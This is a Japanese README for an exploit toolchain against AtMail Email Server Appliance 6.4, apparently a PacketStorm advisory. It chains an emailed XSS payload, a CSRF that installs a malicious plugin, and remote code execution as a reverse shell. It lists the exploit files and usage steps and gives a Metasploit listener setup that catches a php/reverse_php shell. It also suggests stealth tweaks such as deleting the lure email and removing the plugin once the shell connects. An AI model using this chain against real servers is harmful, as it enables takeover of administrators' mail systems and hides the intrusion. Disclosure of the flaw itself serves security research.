AtMail Email Server Appliance 6.4 - エクスプロイトツールチェーン (XSS > CSRF > RCE)

[PacketStorm] [WLB-2020080010]

免責事項: このエクスプロイトツールチェーンは EDB-ID 20009 に触発されたものです。

目的

このエクスプロイトツールチェーンの目的は、EDB-ID 20009 を置き換えることです。

このツールチェーンが EDB-ID 20009 エクスプロイトよりも優れている点:

• 使い方が簡単
• 再利用可能
• 動的に生成されるペイロード
• 簡単に編集・改造可能
• 明確なコードと利用可能なプラグイン

EDB-ID 20009 エクスプロイトの欠点:

• カスタマイズ不可（静的でハードコードされたペイロード）
• 使い方が複雑（多くのハードコードされた値を置き換え、ターゲット環境に合わせてコードを適応させる必要がある）
• 一度きりの使用（すべての値がハードコードされている）
• プラグインアーカイブのtgzが文字列（hex文字）として埋め込まれているため、プラグインのソースコードを簡単に読んだり変更したりできない

要件

• (任意) Metasploit Framework (msfvenom によるリバースシェル生成)
• tar (プラグインアーカイブを生成するため)
• ruby (ペイロードの準備とXSS SMTP配信)
• (任意) XSSペイロードを配信するWebサーバー
• Atmail管理者のメールアドレスを知っていること（プラグインをインストールできるのは管理者のみ）
• 受動的な操作（管理者がWebMail上でXSSペイロードを含むメールを開き、有効な管理インターフェースセッションを保持している必要がある）

ArchLinuxへの要件のインストール:

$ sudo pacman -S metasploit tar ruby

仕組み

1. XSSペイロードを含むメールを管理者に送信する
2. XSSペイロードがJavaScript CSRFをリモートで読み込む
3. CSRFがプラグインをインストールする
4. インストールされると、プラグインがシステムコマンドを実行する：リバースシェル

エクスプロイトファイル:

• config.yml ツールチェーン構成を含む
• exploit.sh 実行する必要があるエクスプロイトラッパー
• xss_mail.rb Atmail SMTPサーバー（認証なし）経由でXSSを含むメールを管理者に送信する。
• csrf_prepare.rb CSRFペイロードを準備する（ターゲットを設定し、プラグインアーカイブをエンコードする）
• rce_prepare.rb RCEを準備する（リバースシェルを生成し、プラグインアーカイブを作成する）
• csrf_plugin.js 準備済みのCSRFペイロード
• noraj/ 非圧縮のプラグイン構造を含むフォルダー

使用方法

このエクスプロイトツールチェーンに必要な手動操作は2つだけです。

1. config.yml を編集する
2. exploit.sh を起動する

ただし、攻撃を開始する前に、JavaScript CSRFファイルを配信するWebサーバーが必要であり、リバースシェルリスナーが接続を待機している必要があります。したがって、攻撃は次のようになります。

1. config.yml を編集する
2. csrf_plugin.js を配信するHTTPサーバーを起動する
3. リバースシェルリスナーを起動する
4. exploit.sh を起動する

ワンライナーHTTPサーバーの例:

$ ruby -run -e httpd . -p 8000

リバースシェルリスナーの例:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run

注意事項

• RCEはプラグインがインストールされたときにのみ発生します。リバースシェル接続が失われた場合、再実行はプラグインの再インストールを意味します。そのため、管理者は自分のメールボックスを再読み込みするだけで済みます。
• レッドチームは、メールが読まれたら自動的に削除し、リバースシェル接続が確立されたらプラグインを削除するようにエクスプロイトを拡張できます。持続性は低くなりますが、よりステルス性が高まります。
• msfvenom (MSF 5.0) は LHOST にIPアドレスのみをサポートしており、ドメインはサポートしていません。
• 要件 で述べたように、管理者はWebmailと管理インターフェースの両方に接続している必要があります。
• ruby 2.7 でテスト済み。